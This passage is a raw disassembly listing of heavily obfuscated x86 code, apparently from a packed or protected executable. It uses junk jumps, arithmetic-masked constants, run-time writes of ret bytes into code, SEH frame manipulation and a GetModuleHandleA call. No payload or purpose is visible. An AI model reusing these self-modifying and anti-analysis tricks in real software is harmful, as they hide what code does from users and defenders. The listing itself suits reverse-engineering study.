		pop	edx
		push	eax
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		mov	edx, eax
		jmp	near ptr dword_437F60+3FCh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_441E61:				; CODE XREF: sub_43D494:loc_43C5B0j
		jz	loc_44B32F

loc_441E67:				; CODE XREF: kgbikm34:0044A43Bj
		jmp	loc_4496E3
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------

loc_441E6C:				; CODE XREF: kgbikm34:004484CDj
		jmp	loc_43B86E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_441E71:				; CODE XREF: sub_446F79-1FACj
		jmp	loc_443C7A
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
		mov	edi, [eax]
		cmp	eax, edx
		jmp	loc_44B31F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF95

loc_441E7F:				; CODE XREF: sub_43AF95:loc_43D8EBj
					; sub_448291:loc_443EE0j
		push	offset sub_43C638
		jmp	nullsub_327
; END OF FUNCTION CHUNK	FOR sub_43AF95
; ---------------------------------------------------------------------------

loc_441E89:				; DATA XREF: sub_446B3C-4FB7o
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		push	edx
		push	0A7724FB4h
		jmp	loc_44E035
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_441E9D:				; CODE XREF: sub_444002+5A26j
		jge	loc_44CB9D

loc_441EA3:				; CODE XREF: sub_440380+400Ej
		jmp	loc_449594
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439034

loc_441EA8:				; CODE XREF: sub_439034+7j
		jmp	loc_4443E0
; END OF FUNCTION CHUNK	FOR sub_439034
; ---------------------------------------------------------------------------
		and	esi, 999FF83Dh
		jmp	loc_44CB8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_441EB8:				; CODE XREF: sub_43B0B7+2122j
		jns	loc_43B479
; END OF FUNCTION CHUNK	FOR sub_43B0B7

; =============== S U B	R O U T	I N E =======================================



sub_441EBE	proc near		; CODE XREF: kgbikm34:0044C7F8p
		xchg	esi, [esp+0]
		pop	esi
		pushf
		jmp	loc_4496F9
sub_441EBE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_441EC8:				; CODE XREF: sub_4433D8:loc_43AC4Cj
					; sub_4433D8-1BFj
		call	sub_44A9D8
		mov	edx, 0F75CA70h
		call	sub_4487F2
		push	eax
		ror	eax, 17h
		push	edx
		jmp	loc_44B1AB
; END OF FUNCTION CHUNK	FOR sub_4433D8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_376. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C198

loc_441EE2:				; CODE XREF: sub_44C198+15j
		jmp	loc_441BF5
; END OF FUNCTION CHUNK	FOR sub_44C198
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F4C9

loc_441EE7:				; CODE XREF: sub_43F4C9+C87Bj
		jmp	loc_444C22
; END OF FUNCTION CHUNK	FOR sub_43F4C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439624

loc_441EEC:				; CODE XREF: sub_439624+1116Dj
		jmp	loc_43CB1A
; END OF FUNCTION CHUNK	FOR sub_439624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_441EF1:				; CODE XREF: sub_44114F+121Fj
		jmp	loc_4417D6
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
		mov	ds:off_41E024, eax
		lea	eax, sub_44DE2F
		mov	byte ptr [eax],	0C3h
		jmp	loc_4371E3

; =============== S U B	R O U T	I N E =======================================



sub_441F0A	proc near		; CODE XREF: sub_4019FC+2Ap
					; sub_4019FC+5Dp ...
		call	sub_4407A7
		jmp	ds:off_41E028
sub_441F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_441F15	proc near		; CODE XREF: sub_437ABD+1322Dp
					; kgbikm34:0044C500j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00440894 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448D8D SIZE 0000001B BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edx
		call	sub_43D409
		mov	eax, 0E211C416h
		push	eax
		push	5EB602Ch

loc_441F2A:				; CODE XREF: kgbikm34:004370BCj
		sub	eax, 9EE75598h
		jmp	loc_448D8D
sub_441F15	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EDEA

loc_441F35:				; CODE XREF: sub_43EDEA+16j
		add	eax, 453B405h
		xchg	eax, [esp+0]
		jmp	sub_43B469
; END OF FUNCTION CHUNK	FOR sub_43EDEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_441F43:				; CODE XREF: sub_439274:loc_43E158j
		pushf
		push	87CF3772h
		pop	eax
		sub	eax, 6DA49B32h
		or	eax, ds:4000FBh
		jmp	loc_44A6EF
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
		push	edi
		mov	edi, esi
		xchg	edi, [esp]
		mov	esi, eax
		xchg	esi, [esp]
		jmp	loc_43F43B
; ---------------------------------------------------------------------------

loc_441F6B:				; CODE XREF: kgbikm34:0044186Cj
		mov	byte ptr [eax],	0C3h
		jmp	loc_449925
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437954

loc_441F73:				; CODE XREF: sub_437954+7D18j
		call	sub_4416CA

loc_441F78:				; CODE XREF: kgbikm34:00442593j
		jmp	loc_43BB7F
; END OF FUNCTION CHUNK	FOR sub_437954
; ---------------------------------------------------------------------------

loc_441F7D:				; CODE XREF: kgbikm34:00440CE4j
		jmp	loc_43C3EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBF7

loc_441F82:				; CODE XREF: sub_43CBF7+5j
		jmp	loc_44C192
; END OF FUNCTION CHUNK	FOR sub_43CBF7
; ---------------------------------------------------------------------------
		mov	eax, 649E33C4h
		push	edi
		push	0A8AEB538h
		pop	edi
		and	edi, 0EEA13E5Ch
		add	edi, 6350845Dh
		jmp	loc_44D574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444002

loc_441FA4:				; CODE XREF: sub_444002+11j
		jz	loc_4473BF
		jmp	loc_4377F5
; END OF FUNCTION CHUNK	FOR sub_444002
; ---------------------------------------------------------------------------
		cdq
		jmp	sub_43E608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_441FB5:				; CODE XREF: sub_442A46+86BAj
		push	offset loc_439AC4
		jmp	nullsub_163
; END OF FUNCTION CHUNK	FOR sub_442A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444681

loc_441FBF:				; CODE XREF: sub_444681:loc_4376BEj
		pop	eax
		and	eax, 0CDB4B645h
		add	eax, 0B181CEF6h
		jnb	loc_448CDA
		xchg	eax, [ecx]
		or	edi, 0A3E0E081h
		jmp	loc_448CD5
; END OF FUNCTION CHUNK	FOR sub_444681
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_315. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_441FE0:				; CODE XREF: sub_44A9D8:loc_437A9Fj
		add	edi, ebp
		add	edi, 3A8D2201h
		mov	[edi], eax
		pop	edi
		mov	eax, offset dword_43BDEC
		mov	[ebp-8], eax
		mov	eax, offset dword_43BF20
		jmp	loc_44484C
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_441FFD:				; CODE XREF: sub_449D78-695Bj
		sbb	ebx, 0D465155h

loc_442003:				; CODE XREF: sub_449D78:loc_43DBAEj
		push	offset loc_4477E5
		jmp	nullsub_131
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DE11

loc_44200D:				; CODE XREF: sub_43DE11:loc_43BD6Cj
		call	sub_43B0CC

loc_442012:				; CODE XREF: kgbikm34:0044C4C8j
		jmp	nullsub_55
; END OF FUNCTION CHUNK	FOR sub_43DE11
; ---------------------------------------------------------------------------

loc_442017:				; CODE XREF: kgbikm34:0043E916j
		jnz	loc_44818E

loc_44201D:				; CODE XREF: kgbikm34:0043E909j
		and	edi, 0AA7D657Ch
		sub	edi, 0E0EA3124h
		or	edi, 0ABF780EAh
		add	edi, 1044D84Eh
		mov	[edi], eax
		jmp	loc_437F51
; ---------------------------------------------------------------------------
		push	7CB2A275h
		pop	eax
		or	eax, 0ABA26DA3h
		xor	eax, 94C9DD6h
		jmp	loc_44BC40
; ---------------------------------------------------------------------------
		mov	eax, 0A11F455Ah
		push	eax
		push	561A7A4h
		xchg	esi, [esp]
		jmp	loc_443AB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_442066:				; CODE XREF: sub_44649E-A406j
		jp	loc_44AEC3
		mov	edi, ecx

loc_44206E:				; CODE XREF: sub_44649E:loc_444B08j
		mov	eax, [ebp-24h]
		mov	ecx, [eax+4]
		push	3A760CD7h
		xchg	esi, [esp+4+var_4]
		jmp	loc_44D685
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_44CA7C
; ---------------------------------------------------------------------------

loc_442087:				; CODE XREF: kgbikm34:0043C6A2j
		pop	eax
		xor	eax, 0F918BD40h
		rol	eax, 0Ah
		and	eax, 9AC7CFCCh
		jnz	loc_43E3E5
; START	OF FUNCTION CHUNK FOR sub_438C9C

loc_44209D:				; CODE XREF: sub_438C9C+12j
		jmp	loc_44AC30
; END OF FUNCTION CHUNK	FOR sub_438C9C
; ---------------------------------------------------------------------------
		jnz	loc_43A710
		jmp	loc_43DA53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CF08

loc_4420AD:				; CODE XREF: sub_44CF08-9365j
		call	sub_4400D1

loc_4420B2:				; CODE XREF: sub_44903A-1B35j
		jmp	nullsub_234
; END OF FUNCTION CHUNK	FOR sub_44CF08
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_4420B8:				; CODE XREF: sub_444A5E+2A4Bj
					; kgbikm34:loc_44C648j
		jmp	loc_442F89
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44964D

loc_4420BD:				; CODE XREF: sub_44964D+496Bj
		jnz	loc_449F9C
		jmp	loc_43DD05
; END OF FUNCTION CHUNK	FOR sub_44964D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4420C9:				; CODE XREF: kgbikm34:0044C9D3j
		jmp	loc_43A595
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_4420CE:				; CODE XREF: sub_43D045+5CCEj
		jmp	loc_44C76A
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------

locret_4420D3:				; CODE XREF: kgbikm34:004398A4j
		retn
; ---------------------------------------------------------------------------
		and	ecx, ebx
		jmp	loc_44DD90
; ---------------------------------------------------------------------------

loc_4420DB:				; CODE XREF: kgbikm34:loc_44457Dj
		ja	loc_4432CF
		mov	ebx, 0B60B17D1h
		jmp	loc_449361
; ---------------------------------------------------------------------------

loc_4420EB:				; CODE XREF: kgbikm34:0043CF32j
		jo	loc_43FD15
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_4420F1:				; CODE XREF: sub_439BDE:loc_44841Bj
		add	eax, 16FADE64h
		popf
		xchg	eax, [esp-4+arg_0]
		lea	eax, [ebp-100h]
		jmp	loc_4480BD
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_442106:				; CODE XREF: sub_44BB9F-F97Cj
					; sub_43B197:loc_444BD7j
		push	5803D751h
		pop	eax
		add	eax, 9866F60Eh
		rol	eax, 1Eh
		jmp	loc_447C07
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_44211A:				; CODE XREF: sub_43DBBA+8j
					; sub_440834+2j
		mov	edx, [esp+8+var_8]
		mov	al, 1
		call	edx	; GetModuleHandleA
		xor	eax, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAC8

loc_442124:				; CODE XREF: sub_44BAC8+1Cj
		jmp	loc_43B791
; END OF FUNCTION CHUNK	FOR sub_44BAC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_442129:				; CODE XREF: sub_44B20C-CAD3j
		jmp	nullsub_165
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439154

loc_44212E:				; CODE XREF: sub_439154+3j
		push	offset sub_4435FE
		jmp	loc_43ED5B
; END OF FUNCTION CHUNK	FOR sub_439154
; ---------------------------------------------------------------------------
		popf
		jmp	sub_444681

; =============== S U B	R O U T	I N E =======================================



sub_44213E	proc near		; CODE XREF: kgbikm34:00439F02j
					; sub_449405:loc_441569p ...

; FUNCTION CHUNK AT 0043796B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E038 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00443DA1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445EDC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448C69 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044BA9B SIZE 0000000E BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_4400C7

loc_442147:				; CODE XREF: kgbikm34:loc_43EA91j
		push	esi
		jmp	loc_43796B
sub_44213E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_44214D:				; CODE XREF: sub_43B1D6+91C5j
		jle	loc_4496DD
		xchg	eax, [edi]

loc_442155:				; CODE XREF: sub_43B1D6:loc_4486C1j
		push	0D0A59A1Ah
		pop	eax
		rol	eax, 0Eh
		test	eax, 80h
		jmp	loc_442BE6
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_224. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_44216A:				; CODE XREF: sub_439274+11E53j
		jmp	loc_443DCE
; END OF FUNCTION CHUNK	FOR sub_439274
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_44216F:				; CODE XREF: sub_4474D5+87Cj
		jmp	loc_437141
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------

loc_442174:				; CODE XREF: kgbikm34:0043D1C1j
		jz	loc_447470

; =============== S U B	R O U T	I N E =======================================



sub_44217A	proc near		; CODE XREF: sub_449F77-105B7p

; FUNCTION CHUNK AT 0043E6DF SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		mov	edx, eax
		jmp	loc_43E6DF
sub_44217A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B3C

loc_442186:				; CODE XREF: sub_446B3C+4D05j
		pop	esi
		or	ecx, 0C070A8BCh
		sub	ecx, 0B0D4C65Bh
		add	ecx, 0BD9E84B4h
		xchg	ecx, [esp+0]
		jmp	loc_43BD94
; END OF FUNCTION CHUNK	FOR sub_446B3C

; =============== S U B	R O U T	I N E =======================================



sub_4421A1	proc near		; CODE XREF: kgbikm34:0043DFE0j
					; sub_4478CD-647Cp

; FUNCTION CHUNK AT 0043AB34 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 004412E0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004423CA SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0044560F SIZE 0000001C BYTES

		xchg	esi, [esp+0]
		pop	esi
		pop	ebx
		rol	eax, 1Bh

loc_4421A9:				; CODE XREF: kgbikm34:00440CE9j
		xor	eax, 3646EF14h
		push	edi
		push	0F96FFD2Ch
		pop	edi
		jmp	loc_4423CA
sub_4421A1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_4421BB:				; CODE XREF: sub_43DC42:loc_43E200j
		or	ebx, 0F16AC993h
		add	ebx, 655243Bh
		xchg	ebx, [esp+4+var_4]
		jmp	loc_44766F
; END OF FUNCTION CHUNK	FOR sub_43DC42
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4421D0:				; CODE XREF: kgbikm34:0044601Dj
		jmp	loc_4408C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4371A9

loc_4421D5:				; CODE XREF: sub_4371A9+8D58j
		jmp	sub_43C167
; END OF FUNCTION CHUNK	FOR sub_4371A9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		sub	al, 24h
		mov	edx, ebp
		pop	ebp
		call	sub_449405
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_4421E5:				; CODE XREF: sub_4372E5+8261j
		jmp	loc_44D874
; END OF FUNCTION CHUNK	FOR sub_4372E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437613

loc_4421EA:				; CODE XREF: sub_437613+69FEj
					; kgbikm34:loc_444FD2j
		jmp	loc_446031
; END OF FUNCTION CHUNK	FOR sub_437613
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_343. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D599

loc_4421F0:				; CODE XREF: sub_44D599-A320j
		jmp	loc_443104
; END OF FUNCTION CHUNK	FOR sub_44D599
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_4421F5:				; CODE XREF: sub_4471A4-DD4Dj
		xchg	edx, [edi]
		shl	ecx, 17h
		mov	[eax], ecx
		jmp	loc_448235
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2CF

loc_442201:				; CODE XREF: sub_43B2CF+EDCj
		sub	al, 99h
		push	0AF1D7FE5h
		pop	edx
		xor	edx, 618CCEDh
		jmp	loc_442AF8
; END OF FUNCTION CHUNK	FOR sub_43B2CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D815

loc_442214:				; CODE XREF: sub_44D815:loc_44D81Aj
		mov	eax, [eax+0Ch]
		mov	eax, [eax+0Ch]
; END OF FUNCTION CHUNK	FOR sub_44D815
; START	OF FUNCTION CHUNK FOR sub_4414DB

loc_44221A:				; CODE XREF: sub_4414DB-2A60j
					; sub_439609+F51Bj
		js	loc_44D09D
		mov	ebx, [eax+18h]
		push	offset loc_43932A
		jmp	loc_44CECD
; END OF FUNCTION CHUNK	FOR sub_4414DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A80D

loc_44222D:				; CODE XREF: sub_44A80D+C7j
		jz	loc_43CD6C
		adc	ebx, 70E3D2B4h
		cdq
		xor	ebx, 0F4D49B8Dh
		jbe	loc_44DA69
		jmp	loc_447DBB
; END OF FUNCTION CHUNK	FOR sub_44A80D
; ---------------------------------------------------------------------------

loc_44224B:				; CODE XREF: kgbikm34:loc_449D45j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_236

; =============== S U B	R O U T	I N E =======================================



sub_442253	proc near		; CODE XREF: sub_401000+343p
					; sub_404954+2C4p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043FB2D SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004461DB SIZE 00000005 BYTES

		push	edx
		mov	edx, eax
		xchg	edx, [esp+4+var_4]
		push	52BAE3BFh
		pop	eax
		jmp	loc_4461DB
sub_442253	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_442264:				; CODE XREF: sub_449F77-C345j
		jle	loc_4399BF
		jb	loc_44B187

loc_442270:				; CODE XREF: sub_449F77:loc_44A232j
		and	eax, 1DCF8717h
		rol	eax, 1
		jnb	loc_4408D2

loc_44227E:				; CODE XREF: kgbikm34:004462B9j
		jmp	loc_4372A5
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------
		popf
		mov	ecx, [esi]
		or	ebp, 7D0B6056h
		jmp	loc_44C9D8
; ---------------------------------------------------------------------------
		pop	large dword ptr	fs:0
		add	esp, 4
		or	eax, eax
		jnz	loc_443C6F
		jmp	loc_4494CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44368F

loc_4422A8:				; CODE XREF: sub_44368F:loc_44CC73j
		sub	ecx, ebx
; END OF FUNCTION CHUNK	FOR sub_44368F
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_4422AA:				; CODE XREF: sub_448C95:loc_44CC63j
		or	edx, 78C8534Dh
		xor	edx, 0DE5F416Dh
		xor	eax, edx
		call	sub_4417B1

loc_4422BD:				; CODE XREF: sub_4471D6:loc_4390A7j
					; kgbikm34:004446C2j ...
		jo	loc_4422DD
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_44DC6C
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax
		jmp	loc_43F754
; ---------------------------------------------------------------------------

loc_4422DD:				; CODE XREF: sub_448C95:loc_4422BDj
		cmp	dword ptr [ebp-1Ch], 66h
		push	offset sub_444730
		jmp	nullsub_218
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_4422EB:				; CODE XREF: sub_44B20C:loc_44C903j
		ror	eax, 5
		cdq
		jmp	loc_43F0D6
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------

loc_4422F4:				; CODE XREF: kgbikm34:00445EF1j
		jz	loc_44BA3A
		jmp	loc_438833
; ---------------------------------------------------------------------------

loc_4422FF:				; CODE XREF: kgbikm34:0043CDA7j
		push	eax
		mov	eax, edx
		push	offset loc_443FBD
		jmp	loc_44A155
; ---------------------------------------------------------------------------

loc_44230C:				; CODE XREF: kgbikm34:loc_44C18Dj
		rol	eax, 8
		or	eax, 4F0BE777h
		rol	eax, 1Eh
		and	eax, ds:4000FAh
		jmp	loc_4377FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449F77

loc_442323:				; CODE XREF: sub_449F77:loc_44166Bj
		ror	eax, 0Dh
		xor	eax, 0E73C171Ah
		jno	loc_44A6FA
		push	ecx
		push	6DA772E0h
		pop	ecx
		jmp	loc_440BEB
; END OF FUNCTION CHUNK	FOR sub_449F77
; ---------------------------------------------------------------------------

loc_44233E:				; CODE XREF: kgbikm34:0044250Fj
		sbb	ecx, ebx

; =============== S U B	R O U T	I N E =======================================



sub_442340	proc near		; CODE XREF: sub_438B6B:loc_443585p

; FUNCTION CHUNK AT 00438F74 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439463 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043997D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00439AB4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043A2C1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043A65F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043B488 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043E870 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EF4D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F2D0 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00443596 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0044472A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00449C37 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BC25 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0044BF9D SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044BFA4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044DD7A SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_439988
		jmp	loc_439463
sub_442340	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 95h
		db 21h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_44235B	proc near		; CODE XREF: sub_4455B2+8049p
		xchg	esi, [esp+0]
sub_44235B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44114F

loc_44235E:				; CODE XREF: sub_44114F:loc_440C2Fj
		pop	esi
		mov	ds:off_41E038, eax
		lea	eax, loc_4417D6
		mov	byte ptr [eax],	0C3h
		jmp	loc_441EF1
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CECD

loc_442373:				; CODE XREF: sub_43CECD+6j
		mov	ecx, [esp+4+arg_8]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_43D789
		mov	[ecx+0B8h], eax
		jmp	loc_44C39B
; END OF FUNCTION CHUNK	FOR sub_43CECD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_44238F	proc near		; DATA XREF: kgbikm34:00448E1Bo

; FUNCTION CHUNK AT 00439BB6 SIZE 00000005 BYTES

		lea	eax, loc_43AFEE
		mov	byte ptr [eax],	0C3h
		jmp	loc_439BB6
sub_44238F	endp

; ---------------------------------------------------------------------------
		call	nullsub_337
		jmp	ds:dword_41E114
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_337. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		and	ecx, 87FFFF7Eh
		cmp	al, 24h
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_4423B1:				; CODE XREF: sub_4474D5:loc_443744j
		mov	edx, edi
		jmp	loc_43DD30
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C267

loc_4423B8:				; CODE XREF: sub_43C267+B319j
		push	eax
		push	0AAD241F3h
		pop	eax
		xor	eax, 0B41456D9h
		jmp	loc_43A8DC
; END OF FUNCTION CHUNK	FOR sub_43C267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4421A1

loc_4423CA:				; CODE XREF: sub_4421A1+15j
		sub	edi, 0B77B2828h
		xor	edi, 78562555h
		or	edi, 8363FC0h
		and	edi, 51DCD2CDh
		add	edi, 9E7F7C93h
		add	eax, edi
		pop	edi
		jmp	loc_4412E0
; END OF FUNCTION CHUNK	FOR sub_4421A1
; ---------------------------------------------------------------------------

loc_4423F0:				; CODE XREF: kgbikm34:loc_444C0Dj
		sub	ecx, 9203572Dh
		test	ecx, 100000h
		jmp	loc_43D552

; =============== S U B	R O U T	I N E =======================================



sub_442401	proc near		; CODE XREF: kgbikm34:0043850Ap
					; kgbikm34:0043CE1Bj

; FUNCTION CHUNK AT 0043AF7D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CDFE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0043E0B2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043F316 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043F37C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00443FA2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004453A0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446D17 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, 0B9F6A796h
		rol	eax, 5
		xor	eax, 6932519h
		rol	eax, 3
		push	edx
		jmp	loc_43F37C
sub_442401	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_268. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44241E:				; CODE XREF: kgbikm34:0044CEC7j
		jmp	loc_43E8F0
; ---------------------------------------------------------------------------
		mov	al, [ebp-5]
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443949

loc_44242B:				; CODE XREF: sub_443949+Dj
		jmp	nullsub_13
; END OF FUNCTION CHUNK	FOR sub_443949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B400

loc_442430:				; CODE XREF: sub_43B400+368Cj
		jmp	loc_440DC5
; END OF FUNCTION CHUNK	FOR sub_43B400

